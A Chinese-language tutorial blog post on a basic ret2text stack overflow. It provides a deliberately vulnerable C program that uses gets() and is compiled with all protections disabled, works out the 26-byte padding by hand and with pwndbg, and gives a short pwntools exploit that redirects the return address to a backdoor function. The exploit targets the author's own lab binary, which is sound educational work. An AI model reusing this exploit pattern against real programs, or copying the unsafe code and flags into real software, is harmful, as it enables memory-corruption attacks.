栈溢出基础0x01 ret2text

前言:

本次旨在熟悉栈溢出攻击流程。所以存在一个栈溢出漏洞,保护全关,还给一个后门函数。

题目:

//stackov1.c
//编译命令:gcc -g -m32 -z execstack -z norelro -fno-stack-protector -no-pie -fno-pie  stackov1.c -o stackov1

#include <stdio.h>
//目标是调用这个success函数,相当于一个后门函数
void success()
{
    puts("you success get the flag!");//system("/bin/sh");即可以获得shell权限
}
//存在漏洞的函数
void vul()
{
    char s[14];
    gets(s);//漏洞出现的原因gets函数不安全,可以读入任意长度字符
    puts(s);
}
int main()
{
    vul();//在此处调用漏洞函数
    return 0;
}

分析:

我们自己编译的就不用checksec了,已经知道是保护全关的程序了。

用IDA查看可以发现有个后门函数success() 地址是0x8049176。success的功能是输出一句话,真正比赛时可能是一个读取并打印flag的函数,或者直接getshell的函数。

                                                        图1

手动计算padding:

用IDA查看vul()中的溢出处,发现缓冲区距离ebp指针位置差了0x16字节。

void vul()
{
  char s[14]; // [esp+2h] [ebp-16h] BYREF

  gets(s);
  puts(s);
}

根据经典栈结构分布,我们能得出本题的栈分布如图2

                                                        图2

 显而易见,如果我们想将return address覆盖成我们自己的地址还需要向上溢出:0x16+0x4(old ebp的位置) = 0x1A。

工具计算padding:(用来验证)

我们用pwndbg看一下我们算的padding长度对不对。先用cyclic 30生成30个测试字符,然后r执行程序输入刚才生成的字符,程序就会在某个地址崩溃。然后用cyclic -l 崩溃的地址就可以得到padding的长度了。

                                                图3

从图3可得程序崩溃于0x61686161处,然后padding长度是26正好是我们算出的0x1A。这意味着缓冲区到return addr的距离是0x1A个字节。

因为我们有后门函数,我们只要将return address覆盖成success的地址就成功了。

exp:

from pwn import *
sh = process('./stackov1')#运行二进制文件
buf2_addr = 0x08049176#success的地址
sh.sendline(b'A'*26 + p32(buf2_addr))#输入26个A字母和转换为小端序的32为地址
sh.interactive()#交互命令

运行结果:

                                        图4

后记:

为了防止学习本博客产生脚本小子,只知道使用工具计算padding,我决定还是要讲一下前辈们最开始仅凭一个计算器就能计算出padding大小的原理。这实际上是个简单的数学问题。

手动计算padding基于一个前提——程序崩溃时我们能知道程序崩溃的地址。所幸我们无论是在Windows还是Linux上都能知道这点。Windows上栈溢出会有个弹窗告诉你溢出地址,Linux上可以用gdb调试。

为了方便计算和阐述原理,假设我们的padding长度不超过260字节。

操作方法:我们第一次输入AAAAAAAAAABBBBBBBBBB...ZZZZZZZZZZ。就是输入10个A10个B一直到10个Z,程序崩溃于某个地址。那么会有两种情况:类似ABBB或者BBBB。

情况一:在padding不超过260字节的情况下,这个ABBB的地址明显具有唯一性,所以直接在第一次输入的字符串里查这个序列在哪里出现就可以了。比如ABBB仅出现在第10个字节开始的位置。

故:paddIng=9。

情况二:我们得到了4个重复的字符,一次溢出只能确定大概的范围例如CCCC,我们只能确定20<=padding<30。所以我们再溢出一次,这次输入的序列是ABCDEFGHIJK...然后我们我们综合两次的输出结果就能最终定位了。比如第二次溢出在0x44434241(小端序),翻译成字符就是ABCD。由于ABCD字符序列仅可能出现在以26为倍数的情况下,那么padding一定是26的n倍。结合刚才padding的范围我们得出仅有n=1时不等式成立,故padding=26。

其他超过260字节的情况只要将上面的两个情况进行推广即可,由于有各种工具在就没必要赘述了。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值